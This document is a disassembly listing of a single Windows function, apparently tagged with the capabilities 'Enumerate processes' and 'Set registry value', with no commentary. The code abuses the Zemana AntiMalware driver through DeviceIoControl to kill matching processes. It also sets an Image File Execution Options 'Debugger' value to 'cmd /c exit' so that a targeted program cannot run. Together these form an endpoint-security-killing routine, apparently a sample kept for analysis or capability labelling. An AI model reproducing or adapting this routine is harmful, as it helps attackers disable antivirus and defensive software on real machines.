Function at 0x4012a0
Capabilities:
Enumerate processes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ecx
call fcn.00405030
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add esp, 4
xor ebx, ebx
mov dword [ebp - 0x3c], eax
xor edi, edi
mov dword [ebp - 0x40], ebx
call esi
push edi
push 0x80
push 3
push edi
push edi
push 0xc0000000
push str..ZemanaAntiMalware
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x30], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x38], eax
cmp eax, 0xffffffff
jne 0x401307
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__CreateFileW_error:_0x_x_n
jmp 0x401591
call esi
mov esi, dword [ebp - 0x38]
push 0
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x30]
push eax
push 0
push 0
push 4
lea eax, [ebp - 0x28]
push eax
push 0x80002010
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x40134b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__DeviceIoControl_Error:_0x_x_n
call fcn.00401010
add esp, 8
or ebx, 0xffffffff
jmp 0x40159f
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x40], esi
cmp esi, 0xffffffff
jne 0x401370
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__CreateToolhelpSnapshot_error:_0x_x_n
jmp 0x401591
push 4
push 0x3000
push 0x22c
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x40139b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__VirtualAlloc_error:_0x_x_n
jmp 0x401591
push 0x228
lea eax, [edi + 4]
push 0
push eax
call fcn.00402e20
add esp, 0xc
mov dword [edi], 0x22c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401585
lea eax, [edi + 0x24]
test eax, eax
je 0x401469
nop
mov ecx, dword [ebp - 0x3c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4013f9
test dx, dx
je 0x4013f5
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4013f9
add eax, 4
add ecx, 4
test dx, dx
jne 0x4013d3
xor eax, eax
jmp 0x4013fe
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40143a
push dword [edi + 8]
push str.____Try_kill_process__d_n
call fcn.00401010
mov eax, dword [edi + 8]
add esp, 8
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x2c]
push 0
push eax
push 0
push 0
push 4
lea eax, [ebp - 0x24]
push eax
push 0x80002048
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x40144b
push edi
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x40145c
lea eax, [edi + 0x24]
jmp 0x4013d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__DeviceIoControl_error:_0x_x_n
jmp 0x401591
push str.____End_Searching_n
call fcn.00401010
add esp, 4
mov eax, dword [0x4190c8]
movups xmm0, xmmword [str.cmd__c__exit_]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x24]
push eax
push 0xf003f
push 0
movups xmmword [ebp - 0x20], xmm0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options
movq xmm0, qword [0x4190c0]
push 0x80000002
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x2c], 0xf12fde21
movq qword [ebp - 0x10], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4014c6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__modifyRegistry::RegOpenKeyExW_error:_0x_x_n
jmp 0x401561
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x3c]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x4014e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__modifyRegistry::RegCreateKeyW_error:_0x_x_n
jmp 0x401561
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [ebp - 0x2c]
push 4
push eax
push 4
push 0
push str.MinimumStackCommitInBytes
push dword [ebp - 0x34]
call esi
test eax, eax
je 0x401514
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__modifyRegistry::RegSetValueExW_error:_0x_x_n
jmp 0x401561
lea ecx, [ebp - 0x20]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401520
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0x20]
push eax
push 1
push 0
push str.Debugger
push dword [ebp - 0x34]
call esi
test eax, eax
je 0x401557
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__modifyRegistry::RegSetValueExW_error:_0x_x_n
jmp 0x401561
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options
push str.____Done_modify__ws_n
call fcn.00401010
add esp, 8
mov eax, dword [ebp - 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401579
push eax
call esi
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x40159c
push eax
call esi
jmp 0x40159c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__Process32First_error:_0x_x_n
call fcn.00401010
add esp, 8
or ebx, 0xffffffff
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
test eax, eax
je 0x4015af
push eax
call fcn.0040508f
add esp, 4
test edi, edi
je 0x4015c4
push 0x8000
push 0x22c
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x40]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4015d4
push eax
call edi
test esi, esi
je 0x4015db
push esi
call edi
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401f10
mov esp, ebp
pop ebp
ret